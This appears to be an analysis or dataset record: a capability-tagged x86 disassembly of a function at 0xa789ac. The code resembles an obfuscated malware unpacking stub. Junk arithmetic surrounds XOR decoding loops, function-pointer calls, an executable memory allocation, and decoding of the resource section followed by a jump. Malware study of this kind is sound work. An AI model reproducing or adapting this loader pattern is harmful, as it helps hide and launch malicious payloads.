Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xbb57e91f
or esi, eax
sub esi, 0x7287fc39
not eax
popal
add eax, esi
sub esi, 0xb68e6ba8
mov esi, 0x3ff2f8cd
mov esi, 0
mov ecx, ebx
add edx, 1
inc eax
mov edi, ecx
mov edx, 0xd9a1068b
and edx, edx
add edx, eax
mov ebx, edi
mov eax, edx
add edx, edx
and edx, eax
inc esi
add edx, 0xa7e04d5
not eax
cmp esi, 0x100ae34
jne 0xa789cf
add edx, 1
mov edx, 0xb25676aa
or edx, edx
add eax, eax
mov eax, 0x8e5a8ba9
add esi, 0x7607822d
mov ebx, 0xa78796
dec ecx
add ecx, edi
add esi, esi
mov edx, 0xa7898a
sub edi, 0xb37999e5
and esi, edi
mov eax, dword [ebx]
sub esi, 1
dec esi
sub esi, ecx
and eax, 0xff
mov edi, esi
sub edi, esi
add esi, 0xa538016b
xor dword [edx], eax
sub esi, 1
add esi, 0x81d7ab69
inc edx
mov ecx, 0x572e8e07
sub esi, edi
inc ebx
dec edi
mov ecx, edi
cmp edx, entry0
jl 0xa78a31
sub ecx, 1
mov esi, edi
add esi, ecx
add ecx, edi
sub esi, edi
add esi, 0xb86ebed8
not edi
add ecx, esi
mov ebx, 0xa7898e
sub esi, ecx
mov edx, ecx
mov ebx, dword [ebx]
sub ecx, 0xe6bb194f
inc ecx
mov ebx, dword [ebx]
mov edx, 0x65c0debd
or edi, edx
push ebx
mov esi, 0xccc44772
mov ecx, 0xbcd942b5
mov ebx, 0xa7898a
add ecx, edi
sub ecx, edx
or esi, ecx
mov ebx, dword [ebx]
sub ecx, 0xf14bc1d0
sub esi, 0x91859c77
mov ebx, dword [ebx]
add esi, edx
not edi
sub esi, 0x19a3d1ba
push 0xa78992
not ecx
or edx, edx
call ebx
dec ecx
mov edi, 0x15bf9173
and edx, edi
pop ebx
mov edx, ecx
and ecx, esi
mov esi, edx
push 0xa7899f
mov ecx, esi
sub ecx, 0x684f30af
dec ecx
sub esp, 4
mov dword [esp], eax
dec edx
or edi, edi
call ebx
and ecx, edx
add ecx, ecx
and edx, ecx
push 0x40
add edi, 0x9f65faca
mov edi, ecx
push 0x3000
inc esi
and edx, edx
sub esi, edi
push 0x200006c5
add edx, 0xe4393eef
mov esi, 0x7d56d4a4
add edx, 0xc9483bbb
sub esp, 4
mov dword [esp], 0
and esi, edx
not ecx
call eax
add esi, esi
add edx, esi
add eax, 0x2000063f
mov esi, 0x47b6c41c
inc ecx
mov ebx, 0x54d49545
dec ecx
and edi, esi
mov dword [eax], ebx
not edi
sub edx, 0x60678163
mov ebx, dword [eax]
sub ecx, esi
inc ecx
add ecx, edi
cmp ebx, 0x54d49545
je 0xa78b83
mov ebx, 0
mov ecx, dword [ebx]
or edx, edi
sub ecx, 0xb2966434
not edx
sub edx, 0x9df97d5b
sub esi, eax
add eax, 0x4418637b
mov ecx, section..rsrc
sub esi, 0xdbbfa023
mov eax, 0x55dc6438
sub eax, 0x4d7a8486
mov edi, 0xa78795
add esi, 0xe46bb175
mov eax, esi
mov edx, 0
not esi
mov esi, 0x2a6ab686
mov ebx, 0xa78796
mov esi, eax
not eax
lea ebx, [edx + ebx]
sub eax, esi
add eax, esi
mov ebx, dword [ebx]
dec esi
sub eax, 0x908d3fb9
sub esi, eax
and ebx, 0xff
inc eax
add esi, eax
or eax, esi
inc edx
add eax, eax
and esi, eax
not esi
cmp edx, 0x1f4
jne 0xa78c04
mov edx, 0
not esi
mov eax, 0x1d4921d4
mov esi, eax
mov eax, 0xda782b24
not eax
xor dword [ecx], ebx
sub eax, esi
add eax, esi
add ecx, 2
sub eax, 0x51ab2265
mov eax, 0x80846f90
cmp ecx, edi
jl 0xa78bca
inc esi
mov eax, 0xdefbe326
add eax, eax
add esi, 1
sub esi, 0xcdd2c64c
mov ecx, section..rsrc
add esi, edi
add esi, 1
mov eax, section..rsrc
add edi, edi
and edi, edi
add esi, 1
mov ebx, 0xa78795
sub esi, 0x58bfff78
mov edi, 0xca228ae8
or edi, edi
mov edx, 0
sub esi, 0xdccd7e04
mov edi, esi
mov dl, byte [eax]
add edi, 0xd4bfa858
sub edi, 0xc0653b3e
mov esi, 0x35f99d0b
mov byte [ecx], dl
mov edi, 0xa3204853
or edi, edi
inc ecx
not edi
add edi, edi
add eax, 2
add edi, esi
add esi, 1
cmp eax, ebx
jle 0xa78c82
dec edi
not edi
and edi, edi
add eax, eax
sub esi, 0xd79124c4
push 0x8dc6a0
mov eax, esi
add esi, 0x526f698d
sub esi, 0xb0e2553
ret